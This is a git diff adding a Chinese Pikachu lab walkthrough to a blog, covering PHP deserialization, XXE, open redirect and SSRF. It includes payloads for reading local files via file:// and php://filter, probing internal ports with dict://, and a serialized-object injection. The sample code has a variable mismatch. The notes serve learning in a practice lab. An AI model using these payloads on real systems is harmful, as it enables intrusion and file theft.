+序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题 + +``` +常见的几个魔法函数: + __construct()当一个对象创建时被调用 + + __destruct()当一个对象销毁时被调用 + + __toString()当一个对象被当作一个字符串使用 + + __sleep() 在对象在被序列化之前运行 + + __wakeup将在序列化之后立即被调用 + +漏洞举例: + + class S{ + var $test = "pikachu"; + function __destruct(){ + echo $this->test; + } + } + $s = $_GET['test']; + @$unser = unserialize($a); + + + payload:O:1:"S":1:{s:4:"test";s:29:"";} +``` + +## 0x14 XXE + +### XXE漏洞 + +前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞 + +``` + + + +]> +&test; + + + + + +]> +&f; +``` + +## 0x15 URL重定向 + +### 不安全的url跳转 + +修改url=后面的参数 + +``` +http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com +``` + +## 0x16 SSRF + +- curl 支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟 Cookie 登录,爬取网页;FTP 上传下载。 +- fopen / file_get_contents 只能使用 GET 方式获取数据 + +SSRF漏洞常用协议: + +### SSRF(curl) + +通过url参数直接访问内部资源,或者跳转到其他服务器页面 + +``` +HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。 +file:本地文件传输协议,可以用来读取任意系统文件 +dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用 +ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。 +``` + +例: + +``` +//访问内网链接资源 +http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php + + +//读取D盘根目录a.txt +http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=file:///D:/a.txt + + +//用dict扫描内网主机开放的端口,端口存在时显示不同的信息 +dict://192.168.1.66:80 +``` + +### SSRF(file_get_content) + +利用file_get_content(“path”)利用传递的参数,通过file参数访问内部资源,或者跳转到其他服务器页面 + +``` +//直接读取内部文件 +http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt +``` + +php伪协议读取文件 + +``` +php://filter/read=convert.base64-encode/resource=D:/a.txt +``` + +![SSRF1](https://s1.vika.cn/space/2023/08/12/fac52ef62e274aa49b4bc8e7eb36df6f) + +- **Title:** Pikachu练习记录 \ No newline at end of file diff --git a/source/categories/index.md b/source/categories/index.md new file mode 100644 index 0000000..ba6c9c5 --- /dev/null +++ b/source/categories/index.md @@ -0,0 +1,5 @@ +--- +title: categories +date: 2025-10-12 13:39:04 +template: categories +--- diff --git a/source/images/redefine-avatar.png b/source/images/redefine-avatar.png new file mode 100644 index 0000000000000000000000000000000000000000..1b94420a4dd57074dcd62a982881548bea693454 GIT binary patch literal 233019 zcmV*vKtR8VP)IyBW zhKZw<0w^jeQAMdzN^69WX-ddpN@+>cC@QK-C{j&T2~iXU6haK7hzP&{iA#|n5-##NgYq^Zo z89*IeY&nkIX3T96LKfSWwP9IKr`~FIoQ}QGYIYVa#_IKYy=~j}Mx)W_wA<}wy(|{upE1})vy|kW^>bW-L>`g^|l4DzP_~9>U8Y-YICi*vAF4MD)ySY ztXi$s`yL_aJpcUj&VD@DTynV=B_{y6$#3+@@wNjy6sT9kl zQmHyxD_4ufLRnR5SyNQ+Z&gv0aZ1P-Rg|(qh)yX{Jzz&dRDwW(F+{@AmH@|h^uACJ z>=}#tEb>qL+l76$0KA3#Bf7vZz$XvjQ3bGolLhc-g6%Tb2F5y$<91xfZQ8EeusT+| zZQGlzW~be1x7V7jR(*Z5zS(YAH#VD_Ya1Jlddult*9p1NZnqo1xOIy)Zro@*|NQe- zZY9Vim+eVT0CLHtpUlsbt2b}b_VhHJ15osd34MgpvZj@))v8%BR5Hr|&l-k#v{W=| z#bU8&YHC5#HB(a+gAnvK4Uumu0_cFC3R65{0PHB#ZwcVm0cgE&?V2Okn@cXaWXnA>!sL?6E(>10des~o8!L{COx38NjvX4Wl}D?^ za=B0%r3#rf4Rfkg&_-2Fouq_LQ-#(PN;N_VC5V(Da1EY;r^)la7H;1aK+HLU(g3BEhxh(-4=CU>d z)*Z)bTdvb`Z0B~TV_&Z~nk(z;_02}T`GIBIZ!|6I=AAotTDR8MJJ4vX13>HAwQKf% zUsEo*?6>42RWA3P%+Jr0n>TOLTCHYGOiY-%ULGH-md8gARcoW=^0a9fbB3uMRupAKzofX=mR*WCTSpj>jl{*V}?zkKE z`f{t)dfRcF4>e8OSXx@Lax#$1{UG^hmdm{=9P|NZv}4EAB4cc(RH{vlRE)Vo!MIeb zlnxh6b3!w{f%XJ5kKwr~gf z5P;O-Vfo1#SV#b(_H3OIg#HBLYM5{~gf=jD(*;=Wv^yK?^@g*t*{H8=Y+P^Do3A!n zonP3^=7$@t#oLypul>oN{7EPG8_4Bem3wJ)%jG_o`T2RWyu7TAjvlQ}P8LVT#>U3S z%H_k=vC2_h(=HggK5Lrll%}W?R8@)yO!vSZIoKckz96CjWzZHVI#9zUbWdvF0Zaz_ zw*>k_7AAiRNWpf@15%NU0Yely47it}3zp;9b<4IFTb<5QlgAxyu52_K|K8ec{n&0c z-@3K7wwRNFT<$eFDE&N_T(&DXKmUK|mC5Erk&wyBv9YOArF3beS~*@R7bXo;pVT#V zj8ZyA01V)vczhoJz`gsuod+@0u#*G;?z4_86M&sq2ogoQfXoI47IPU`wyiXqZL8Jp zeAwx9e!AIg{-Ck3`I6JJ-@m!Gw(|SG|NHGI*Fi41+?{eijT^b#8xkbo(KJn~P8~Z| zo2XPyluiB7O1X5rTr#Ik(>Sc@9_SO35TXM^6@V%G5q{S_S5JCp9zC#ikqJPUY+$=( zMNsk>U5S`oz7d$R{O`TR{Os$oS*++>BWl|jm=KyXj#`UR?Edpqa)Q5<0I9hhN(@f3aubw5s?^- zr^_84+V?6t*WM47LT!s%ciI4<9~sX!_9j@!ClFe63nOTrl**lqg3j#Sug_ z5OK#|`&nS0Yw`E8NTG$pVgf>J*L627%X+=hZoky5xBl(s;^L1tHrh8V%i8#@-}n}An8o#)`x_ax?S6^-C$%b;-Z^?(j zT=rb9T)9FoT)3c~J9lo>FpM*mO5vf=YW49-xp>~xwJB9qOOz5F5fsK4*{)_TpOv5Eh0iOv={WAKR@?e{qu%(}rIocGY_>MvSy^e`$;m)2`z86Pn9E)X{@(A+ z>vMC3@zK$dqvy}e%uXB{J6|%34;G8YDMg{P3dIs2s=#2|pdU+&GiZ{WTyjYefFW82 zT*q-YJDtvl&9?QE&CQLM*4H+FbZ2$*&9$|)^*oXwm%WsHe9UF2GCx00*4NkdvDw)} zQ)6T2r^dz}IW#eHZhWkExL_L7s;Z15Kp6nEojCJh5OAM|-sQ4GVM7ch48(O^U<^8r zZLigv%{MnTn=ftFH(y*@UH#emdpE9s=X>9)KmYvmxxYXzLzR4_%w;Iz0Y3l~W@ct4 z%jMeHiHX|BC&xw}t5r)UbWIym6lx*?9mUFeI{(;HMYuB!|hF5zo_p{`qW-hxbSFc`GKkO*c86|`m{u=t*s{o|D_xC*Lv-Hw>cgv8UdNlXW zv)YTP0lBVD$6_1xW@}+-`GcD`7hhaiUHzw(m6d<1*XuU{ppiQc=CV_{cY0?o`y$Uh z_nfM>+qJQonPX!UwFj%!>SL9XdC@fVIYm)M5i!Wnx6K-&kiB~o_%py{+xRlbi3xKy z_BtICBg78wKXx-t++ELfFG&FSMu%3r%{JESt4k}Zuim`9^ut>VOW$8uSp5%x=B+%* zP%b->yQ}x*a$w}@bI+-d6EZqBRy{p2Hu}K$NcGW5rF==#)FYIVDgYP=xUIPTdrR9- zXz>HDna|>%8S|6bxYBnQ!28ZIJ^1YS$GGAc=1RW>WiUVtV&PFZP4af35BkAA;&0U7 zN5pgC---X--{=1(_66<6tq(Dn`fwm67CyK)76IF`t<8G9b?eTZl~)#**Z#TPXuNo1 zaq+`DckXOlyLQdGi|jlaG&&Rvs-C3#W8V zn;`@%06byOmPh?0&flHDKd7@9lm15FE)vu*V6F||TEP4b+zzmCvl72qz?gTu*u2k- z|8+R%BQMdFoY|NU`o1QM5+`8+`SO9CKNlK;zW7W5iNYT<|4URrZ=;&{OEduQv-CTl z!arj`90I>j9FQP%UsCZv$evjR7;_mg%W>SLj_tfz-)#PTVQJ;nx8J?-i>0O8@4dCQ zcI$t;cCDThfm{ZagWIceIZ!e`Kd+eP=*-EJGY?Epjy*g&QhlgeE}hkNWttFD1h(}s zzUc6~F*6^F{ptF9@Yw@*4$6)Icn;JZV2%&$P7APV7xpm$~8PR1QymCv>334>$3HBt8;5J9sJ(-) zxkr`-7OLwEr2T=9g#Ul`sGppB=sx)$*ax~!*T;ealBOFe4?_sz{yufV03`7j^j9+txo5|^?KvqmloGv zc>lv2uPrStef0L*Z?Asyo8N2?r2)Cz6LQxL!MW^>%+Jr0lP6D_V`F2p6Qk9KMr*}S z7R=(OG>x7hgp>e49bDnR8y)#rb|hTzTX>8s0Nb^|LwC%5uz;h(P=&96Z7=)44BA1k%^stx%BW5c-!L_cNdz=!F$P=R|;m zzgh&Ulz^y3z~C>pAn1I$L8OrA(w5NaaR14`FsBB5i-3y=EyrccosRXv(#q-^*RL_sAV8(Mf}xj zoFtIIV!%m(Y$d>06{&rDByj>Tv}K9CYCIy)aU6HE-LY=3ZEXJg?c0n0{ND8&|MBX3 z@7;L+HCTQA`8;YMmq-ruu$;@D3V!Qb-zpZ1#j|s>vyY69S0AlaOAnf+aZDlHt6v{9 zj{ok-&X)!Jl4BkR{J06OSCiB-4GbdEn$d!C1|`X6J`@H+#kc z#CPLeF*;1#|d1rBP_2=*1T6pF9N4I|1SX+B@b91wqTLf}}oB-qkLhIKa zeDGv#q&#uCQZ4`H*vQBeg@SR6QXC~n^g)*4MM>j3*udXS+xLN=Ywc}t`8<6c91rN* zD_p}DCjCwBsOKFMgw`=xYvx*Zuj^0$*3Yn zUk6l6K(q?C4v4J+L@9A!1L15)(&35w@V@SWpMY1a0}NUYb5`q(*1Jnft3SMc{m%dQ z)1SZb=38%lbmy<#fPmj+X9y>cVHS$ocQu%~t=nty| zr;wll1I6)U7|nGs7vbraO^-!$_^u@!^sEhV+sojz7X|3^`TK^j0JwG-ThEfZIxjc- z+Jjj8RQ(y&>25?|5G%k|{r*F%`^@9&SxRIw9 zzJKK)j@Y>jS-$qQubDG5C#Gg+$1cqsoq2q6V(j5^$vjCZohFDS222?Q%+W{wgQM{G zN}Zbke5c95-2-~3xd3iwS!nt8W(@G-1G2a)EEYVU)e0OSCqUrLhw``K%66X<>*5Zu z!%BALwMjZNGI{F2|KmFv5^4xCppO92Mu8fm!b+f)gwr9R8P)PmGV$&gzCbNeC?>z+fSLekk9;F!lFy;0r*%!{h5&XC0i@5;(0p z;C6h|zFilNeas1gJG(gfdNEdQGWc$wfqO5(Wr$Uzi{4&kJ8oj^e#WO}f>{clXMj)< zZ9ogcZ@}=#z#*W<7`G1a@I;>MD9buKh+izxkt&Zr=R< z_3NvzFD<>7=McD$F`|Mxo4?JMb9G#hYWNK>cGu2A*V+GSZt|+vEd~$Rv zp8W?w>+g!v{%;Nkb=Pi!+gSytwJ1Qpz095Xc(NT1`Yh5I0}VfA-iID0e%a|w+Mi{& z&kU~bUH-OZC))l_&QG15<;1m=PeC_KE7Xd^()aUl9AC>|M5t2}v8 z6mp3B7EKVXNC>-v%}k_+?AVU8zOm7GZ((uy<##{0@#2qv_WIA(7F%zB``dr9o|Axk zU-o?%&tTrym+xvGK@3htP#;qY2GaW|9)%zeH{2aP2cHo zGrp(gyX_@O+h6k?_nde*9wfB-SlQ`>IK#{FHiY}S)gp%!as5t@D@Cd;eP<=!=5)v(nD%k7kf%t#BVijOsr*T=!vYh4Bjr#R>uiyB|dmrBT zr#m-q{&-%(td6VTdgRh0mYsF6 zc0=fFNW!VH`1!-Tc|4DzM9z0oli$Y)A*iUTS|}CF@mj4sT`HGG6xD%7qftL`;zZ-+ zmtW3Fz&$2+=h&A^H^D#u^FOamOix@mee~#)lau4WTq~Cz&@^Qn5%s~s`u0=n&r-$Z zOnknHp9B8_*o_BEOE+PQCmjGywuJNv_W-ww9K7*_Sc~(M= zuTwyc37~~3;Wwa-B&G=VJAweVGl9hzV-5qh)@ZigTwYoK{?g*|-@NzXt=Hav|NXUV z*YcFY_ktYU(Jz;Q;X1^*6ZI&z<_1l|DU~&reMoBqUpn+r3NbDZLCfMc1Er;*rJ+FT9YGfV))g7uDyU zlBb?}N_pm)XDTBTBNva)&VKI5^yHJ}a`A+s&~ZdC2Az1^dy{{bwhtoXp3@ddd0KY_ z_KFkVFJONR6uZ1>{YyJ^!~PT)HP*-m`J!S*fK&DQk-%AV5$en=ru zL*x}G&Vo{y7EuIRSxgVW{!9;W2?_L;tO71DXxNUkuu*TkdgG&oe|-1D8{d2Dt(AAL zUHg-bJa53=CpiJQ%jEZdZ{E0gv3Bm#`4b;Me0chkW25CK3{5{m2r&j(vwr!)Ty&?lWE95G-&VipA6QC3igHo6Qs#SQHA@Dq0`$PmJ9|1O4=kk8EUDw^{ zSkBu^i>ohwcyr-j-v98!AN}x$KV10hzy9lXP6X~A$)^DB9>H&Y>szIV9-6y!?)34m z%pINi;^;`_ab44<5eG}?6Po&i@V=opIeUJexsC|oYkUOO+8bc4z6RF%o8UBWaT6+I zwscyC#t%J|d3hV?gpBrXOZox+PUIjH09g(u8Q4y%dIeYZ^B9N+oCHa#Y+!y?O1HHr z5>q)%PI7tjA)+KK0^4o*)+IhY(07W!`+*{$PAM5N3;I;0QkpRgW7IIKc=__j*QcjP zJFmU=T22D)0=Zj8mit=f=jX}Uvu8)gYqbYvr^kM+TC4u5VQ42PA*De`9Qvct-p=zU z=lFf#=X0cs;B0=tHGZC&*KUddQqHU|M+CAAZFzu8i4Wqvhx3E4wDg;|KPX*!AKEbl z-^4+a6AetGW2+|;zBDnaMLs>CmX3l_Iw}?>qGmi=cVDdn&~J)>F~&NK!CJG~x^Zh^ z`K7nsyZ#UFy?6UZ&F1orYuB#Xd)ek(wl28^;9v`W?Q7pKAA9V~+|k2_o}QgL^yRV9 z+Gli4J;}5AVgI;(S>qqRbP4BUj)>jg`~W(hw!i!{us7cUx3$FA)(?{P#GU$rtf$)p z|M;N?1sr!OgG?(N6gdEG>CuGkw66C#{is0T{1+VM^64)g<C25D|M&-a-hcxvIRQAJa^=bu z?aN>O&qp7A_}HgT9Gm^h?DV0}SIULQs6uBEps&e4p2=^RE$x=PM|eeh1Dxdn|MGu8 zXZaPdH{auldzjOaPD|VFGnJ0iAe22S$-gE)-5+w0u6Li?vP}}u`_1ZielIeRTuR#S zCmum=E{LV6ow~?bNtF210Ce>@9I8Z-LLf~O#Cn(4T$K`9G<9{NSSTE=RLYaZs%~98 z|Jdf#)L7@W*Isk>yy3a@m7D+^K>6c8{^QaE4?KGA!i7_xJ9GNjm!>Die#tcSlZ0Rm z0M%ZD0785|Z+Ifl@5dedcygZ322ab|S@{{)`t8jR_#g-2{J!5d)@P0%6Q5HDq<)As zZ|mAqw~Y07lN_XWAEdTqH)jwc(C?UDzho%R;l^aj%l!lz+%o307kM}=KbmMFj{xqE zkAU3nWP0%UXP}5^Xqs9pmyF3$p)jHAO3^SY%@Zf)HeP=D<=h%@z$7OC2TXqVcmK5b z;Dcu$yL92?mruth_3Kzq2Nm z-u1`b*trNX4DsAX3%>Qjd< zF2C~14|BhO10*>CI5>iT`ImoLd;F0LPh2{G^0$v4oB3>|Ts)&HO11BL{R!{>;YmjF z9_|TbbLT#L^Ft2$o#mf`z412pcxFEE%NkFAyKIKeH3;}8f({S{9V8DzJpQm{Kd<2c z-oF8w)Rlh@SYG^<&4PcB^nXlD9f+h@K?-cgBLa3^0B&Frfc?oVm?e@G!2g2^C8Ss| z^zo5eWu{y(#)>7{xqSKZ+V{Tqz2;rub$egP0qmLgpUltCD^n*yG@Nf zNdUUvx!&dUm8}wrgVfD>wPnBBy~p=wo7D~U*7SIlx{-5CI);)(#I5q4g~(8bIwpZeOAg|Mtc?7 z{T&|CCp3P42xCz!e`o~l*3=aEZv%`l@p0&5VO9kP-9x`yI}XD1#~#(U!)m(CP=!1D zm-f_G8XzH3|JvVa0f;Lnh=^2G6|-0{YL#-aS}K)X z+i{m4dE}AJJdN=FN=^XwPw?ws|9a)zxpS9JpFH-=(V3|)l#0efl+sCrLBPN7NV5x) z)cS>kpW9vmYvUd6;AgG9!PEB!>!SxM!Ub?Nfu%k>vtcp>)-*eA&ez&^-RPd%ml(I5TM;WH;sK6Uog zvHxLq=FqR3rhb+XQUw6D-}%E`yr)aPer9v6!{)&M3ZLtD8aH@$GdYew%GaN6U#iW6 zTGF?0soQq`-?r>_C4-c=m)iRMNC0|}>lAutfqd2>UHZhpjShSS&?nlCzkbH5PXso3 zKSZhlqP)(){*eGo*3Y8^prC8YM5R=kDH?@psakA5@W4}R-~I02w)dr>_qpT*V2|bM z)%n7sAAjil!w;PM;^`AdzC1B8`bk~Wjsk!=XkwqCf`5j&-?cZvu73oU2mH%F1*iUz zKj1i0vK~2}Kcn4{8Vr&jQcX!0(5Lm%Ir}v34M7I=R~W_x@5fCXyv|(Q4(Arm5qIs0|A0 z!y^D$=Kc=2tp%{x-vDdnHLy0`<16+tSB~W$z_ULDTwoK066!kN~fPs)S%k z*VM66xj1HO3L6<2Uw-5fzPxarG-!_`CjfgSfAJT8Q9g2H>fy`hk3Vzj`0VG(<T}-{9tcYvm_=U4Eyv0It(ctk5Us`}?{fhPa<)0Z6qb>(svB&*VhH zdxZW2Ds+1!_resw9)W-6$y;xu36E=DH9pbH>PeQFou+Mv+Tx8S=(vfGc+ zbn)(Sq8N%yfNa0f(@4ugi3Jyzh0x%@Gdi84I*s(Lm&Yn8@-tzX%YsAbEt@7y7y0bM}9=PT3~!+L;E@~3SRfjzpJgMwbS zLk77g+ig~l9|wy3MY*>K{~W$HhqWn|-ga71$ROQ6C&7&I%o`R}O0i^`##p&rtm+E2 z3M0*pL!+Nqf9{HObEj4Wr?xFW?(ayD{qqiqpG>2qfT(>*Cy(tp8 zw1F|cADK%v&0l`Fy#lVa#;pTLH6TRe$%GCN2~a2@rfKN4Qn4_qt5h8wb#FZW_~WZD zyzoLk9k9!i6M)?neD>M-%DHnVAAjJ|ssDWDzD!W!B&pgDyR)w-}VI)7Od@@+v7@@e5`cX05eV7 zz3T4I91|vkU}J!;4Q@vy5n|RR0Jj9_5H2^e$3!4&NJK=UP->W_Hd-y0YK3CaCbYCT zG4b@q%P;>;J{_=&k`sX46a3oz{K%POGfzBl>GYM8bBBMWS}q>(o&CsG!u(*@mhw%) zt2Y32fZ9u-wBH4_`6f{NHlQ2i;D`^|UK0o*pePhnRpH-565wr;GL`ZT*hZLimTU=Y zw>o(B(|o0m$wR~M`>m7gbRCF6??J{deQU+kZS1iP8~oEB2RkouLeJ+d*TXXE>rOzr zzF*sDW;afN5)lBm&HV!0&MH?3fM|XaAu1KHH$?batKl#O@ho?SWDw;=;5OZsu{=2o5Z)cU15B@8uY9| zS`vLsmbx?C-$ifwURIdiheQ99vVYvR0^R4wL7)BBEALfkFIpnWKo30WTpR4oaGgbr z-UHTiE#bkXCka4lU4eiH*x=fAJ|)2HmY5Qth9CiZYz;t6zr$Q{BB-gVQZ)^urfV8> zY-jDrkx#C__~Jk0>4SGcasse(!TAS3K$D^8hUs;Yg(N^x6z(8MDFxSc zIT7Fvg8rZq%}plF1N}+BV0R(oI#ZMMy^rrNY4FHy+g5WHZvsJJTS$1q+6xBel1i=ARtAyAPYa&8=Hqm}lq7hvFP3 z`+jEa>soV$J3^1UF~Cty4ZEg20`1Sd{JBSJcmNGnV+|9kN01JL&X-Y`@!OpR}5 zK?lQBLDy9MgdJzc(jd25(p7}i?^NiwlJ~GpRmi(S=Sw< z6ULxKX7NZNvqK*lK0rr5}8H6Ce*0 z+^XaRV2g6)$`$&DfB1)!hYuhA?3v?7uGFgKPb-w30EB^3`(n`9hUVqp=HY!>^L0?$ z?*MVuxHTXK{9$9j*XZK}AbWA2F4`s{*JxBl+&tk8L%a-yw{cX0DtI$41-9| z_H`iuJ;8s=6>t44l$)|OD?nuQ&0abYyZlX;xrYQGI1IPuJc(IQm^3G3I%EdcAz9;( z%JVdKRiPZXO;dwH$$&!90K?Qdu&bKFBWFCVU;GuDszebr9%=TD)A;6-1w#ur-QVYt z3(8mb!*JOx*?N__l#H8@1pN?J6QPT-F^M@mEx6NJ2G?%zP#cY}xbX^q!_TDJh*ra#c5l*un)JB?WYAO;Z`SCD;OfP9cr zRFzK&Fg_*V@C<@UjTJI9w4KPd2|%h5d#Bm-udnyL?>b%4Wlxs&kC2F6&%j6d*xoe^ z`b+k)7$aIN)KmLXn+&x-75Wai_3TJYCIA>(9u$x0stVWk3q=hI1)=S0y28QUBf_5M zF3o*1e#F7`%pj*bX^mhrg5Uc34vFS?=XkHH4D3X0LJfEd?GHP zTLUHt0|Vx^g@a&wRY0#|0tu%C_Lc-Bs-uL^Lc!3-s+IBxLE2%4v0TtDG~RmarQA7i zK*+@|dD111IGBoi5BD0Bmto6w&2jRb79F6?n? zcX-Y=AhTFz=WYaGp!Q(=6^p-0=~T^`qynRbrBQ05uy3#|oR=^iGsg7B8Y{s9Ef@~RTX4F zp+G(2L8AK*UP9tp)86&b-AdaBBC^88wS_gnS_fnnJgU|t*+#jfWagu00YRCD_7{52OcRt^sWb>@A7$fPit2d1WhGi7!(Xs@#pF(D5^hCFM~cvpLzd_ z%Ix+SQqKtEq#<^DIT;WnoBGbTnxCmN$kyqR1VW^8V>~1>`D4bbgjv=Ah>r=(Zg9T< z=ClO~P)xC?P>Ng(M>2B-@LXk7H%zT&s(OVWG&F7G`al2k|I-+HgYE&z2|yq5H2)JP zF3dgt;Q23}J$dZQBem*7ib6Q}4{|>Gqt#B`-?H`*w*gA~I#1`zz5H3jAADr2OAn1P zLXgz_!+{GT^iMXu+oc588u$fhDj%#I*8#`20bCip2k~9*0sast5`76kh7loAOrMME zQP?2u?|NMF-glFJ1R!}d_OW(!Z`WXNYVy5cao|a5|11O0S)?6@DW(H$-1R5k-RQTV za7n|)*ap&m-we-^$GE;@T~Mbh_JIq;+mL}u0dx(aU{EkU;5VoMe#LvQgEqRtYo0~t zd)hI?wgd@?Su~Qw0i<&R0^y3|gX=)){LnfekpW%!4rsm)0ws~DA#^4Tmhxs<k2M$K(cPc35Fo^bfB!HM^!Kl(u0aZt0+=s^_AUm_{%c++d!Ok z-{k*uQ0ztFbRyJwbOGhQ1tigrle{qgbA0TGk!)sz(^&(%vnu+nVgMm}hB7f6$+D;-A|aF- zrl!}51+$EZ8=v`4PcMGwJKt#zy+L=ek*x?hx4{H#hlPi#)tfZM_53S@Q=uh?_lwEWMZj{;Y&Km{BK_kTFEaE?Q_3 zL?mn%QvwPfm>6SV+qUl)AZ8=7%#GKoW+htR52Yk(d|@7>^EcJ7Q%) zZV6CyF(t4UmH z_nBiyXPz0Ul%7ziGJybtoBemB`F8<-p4IQRSi!IT9uQ~49}E&^*DT~oYW*qj&#Dm8 z7J|%UGQMC0&=|~HswyAAg>#@Ic|#}9PnwgvRGpb?AX~Z>leS#$aPaERRR(Tr{H*TB zXF0<4YQvW5#iSi6i}58i+k_SyYQFxv=>a5fT#w5qKO1J=xs{0 z0pS~e_ZacNi?(`1K|Bd*KZ_HHfQU1OvGYWk)W81thD^53v1qCxv=Bgix-J=QK#@BO zs)`(X=;s`u5gAAXKP1A2{Wp#I_Pc=0IIYkxfT$(m7qEx<0#YOZkrF}*hOSjiT`!gyZeSe7uY64Az(8<<3BGBx)>!M{g2*(T4-0tS=5=Ju_=6FtB` z_&=q|4PlJyl65c}_jO(s?fYW;PbU#k1V=8 ztW=ouxmFJjFy`>zgTDdUKxxemvbN)}o6D=~KlhvFq^h0U*REa5GX_eM z697q`nx9vGwOpQk{QUXHPM$dYo3%>mGgKkd05~xC@A`Z{PwrC(rTrn$_WRuY?}2~P zktsGu7!Jrmr=?NIj${pxjjlmiEIhyaz#j~%0)KlEfS?fK4|GIK12{G`>vgEFuYu)} z0LHVc0C!;yt~$^fGwxDY??42g$K3x;2mss8Y{6EO+xPo5VZ|910mwABN~Zq6@iZ{& zGk^U%q#~cZS_G;Ufv5$pT@ytIpb8M8@U;S|CfsTc-N+8OQfvC?h zp9nDmM zQ>9XTgiQ?Q4}cJS=9y>4&YnK~`Ag?cd}(rW{83F+rw~yaG|qpwm+}?h-vGs0 z;NVX@@aKc1Dhv|D+YDgD0HB8W&Vv(VPiucPL|@1dvJh(p?5bPnXKV-^Ro!QXN`k{H6mRS z4panY!@!mV6Zbpr)y{mUJ`kWo3{Xo`P&{-RN|WcHFnS#H(iAAh2vD`eEdqpSeC>Jk zG<~9ozg!CsHo4U@Q6N5m6aQRIhQG|MF3t!EeZfp0jLh36amx{fMSX^ zyOvM_VtuaH`@s_XBp(uf8~mhRR4inqsUi$gRS8duM7&K}x|ffC;q-?i@&$M##oMJ6 z`F&4YB!(lgej?gPh(e5lp;vWPEiucfpE&W*%@<#MA&(Bo2>=)Jr++#>@$duZe&y1I zQ(u{$9Dh{TwQ&Sc2RS)P@4MaVGc-m*sghfk zD=j9%V%ktL_CM&rF@;w8fL+@wnd1B0133%|{haC^2~c%$s{;~{D!N-;8A#t7{8{>% zw)5OVd>Z6riEv?7A<$($A%0}~^I!xZv)NlXI!*tg82iwppFcAKs1(4g9fR`pB`A!a z2GyJZqy_Pw`ZM1c`U$w{zp{sW*G={}fHYxc@yCowtv*JM6K#Mj&wk0b0g~Z~k|Q2O z<+9{&EO9RM3j52rwy^OeA_g9bQ3^aYFP}PdZN7+)AOgYlXFO?yMA@v%JAz>j6JZ%3 zoB;5Qh?-9b6p@yga^gg!b6o(t0j#|S;C8q_0B`FaWe!aGVId%;lopBweWYj_Wkn;m z=H`Cs=8G@>gFW=d9B{ec2>?F(?Ef-;`SPh>zHt8JmD#EBkLj8=j)+?T|J`-?LuLbY zRzdCD0L5Mg;&ti}^f0b*`*WM3V-Y|?h37K&UJf)ECYde6hQ|p(Y@ET!gILyVd&RM1 z*5__l%VKJ}S2WKYsH&V0xPJQJY&$MwSTItp>3M(UBezWey3{t2?SI@NXD~=e=$w7_}o%p1K5j^#~AJ6z?Fn>Nxzp7NF?(o12bt zk4;^%IDoPwXo3W?kO9gpjLVPSxg=oAz#hN8Y%orPHu;A`ryjyO!9{^&cCPSgusAOafSvY{b9E-iv??@bE$!tykca0fkcDmkD3r zz~xa(%v$4-0s&bO7MA3DwfmCH6@bV|fMFO$N!K;UEV{R!eDcYafB1*{n*`j~1mKVV zc)s++qo*G`f9}K=XQwAVW$5}8B4~rWoWlWs3#h#YYUd+RoE72eo0^;MqJd)s)|?2S z;;-CAg(%ig%Rnn<7@Dbh>NuDPSK^Gfo~K({B50$?2{D@KV!e>GD{rJU3CEpTRJzE|~<# zAqzdV|K#-s5=>e6q@N+6)8<-toE*g-co!0q1pnmyk-|>>mw<5c9)uWDX(N2$BtjTa zv;f^rP6kjZa-s-(w4z`@S|k!c6iN-#)C&Zu(`dC9)dwG3dF_Q4?%TzK?pp$I_3Bmi z;~#(E;`uYjzce#F@tLBj9|hp6`t?0`=W+f?VLX!`wU;^gQ#$~E$k28Znffpqh~rv* zU=axBSxI)s4tWKWt`AdnN6t-gvm|yU0I|Y*Lz7Q5JQAR)A`HwU0GtFcmPo49i@`|u zrCWuvF(Lk?$H7TrvxVo5+dMC`St$l1B(=`-R%_^ODUpB25D0|1oGZ3U2}*~~f;n~y zh+6g!m$L9BwDN4g8?>!~WPxG^sAHD79lDT2mhyK<9om<4^|&TXe#kmD;~Fu3EXK$i z`c93SAOWu9hYH#fF@eOm(dB-y~%=yDzeCB!)Ir2qk6H)T)FMTC?3-x~|{1iwE781mMb*EA*+So|=2$!kI74 z&P;sHG>nr-NMUc5^i8m8e+_@dUIf*;0gAoqYfLi!^caz1-xI6D`y_yOHtHud365tF zTYMx<3i<$TK!Q?-bRhxV6kmw0k&^(VKvj|7oG}J2bELJ6l5LV9JUO6u8CYX~vf7qZ z-;?{dBU?O=rJKgWk}!Qxzv9AWZDl~|ac)-8fu}oSEbl%83P$xXl&3C&VvPCo)J|eP zU)GEVYI4*L2;S4+hGh9uK>WAxb>hU)^_O3M`MwJeyzdBr2mVh#{q*bu z=g&MnJ2UY`!_dwXBxOX&R^CN++w70N=C9ay_?$m=HX`tcZj1Fm!YnA4&BAh{Lox0} zjDe@Io7T=G4JDog$p6FABmoE3a1);7h|+*4X_<(=bD$sr-gn2b!x-wc7L{=uGBvOa z0)V(<4ZXi$tn};}GPKc5kY+vY9+*{T7O!Ive;)m;B@$kSK*j^dk6cWlZ{IdzjUab^xn&WA0vPm&ufwNdQawwz~pao8PPrrLJ=`pf1+K<_Q%R2;Zw(0 znelp3(L-HdkRDGRrDqwa;f@7hHMn9C`XI>1b$c7TSqNCxUpIOmF>6W%d<7)P!9e+x z0AWo|1Q_}x0Qbfc0P%6#`=F{SEfvhdh(gg`UAJy;Zl2t@dGr1v0rwjL!2jvL{Fm7? z$BupG*pcZk7K`R11Zi!M#eFh6?3N^3^QWHX-?_=X{ss6;BULv7015SibvJ_|MuU>q z*?6)Q-#0+yNOz)i!T^b|Hb|p@d|a3)sNX$_UlV2|D8a;SLhf)RoQebqaDX{ZCO{_n zPtcAxa8GZlAT0;urf*U`nBERmH@sULQr22MFfh-#>mqQ z$8!b*t2SUPk3q)!7@HlCdyE`jNuqE_q5|^dPY47oAkYGaIxrGMiDbXmyDbS4ps6Y? 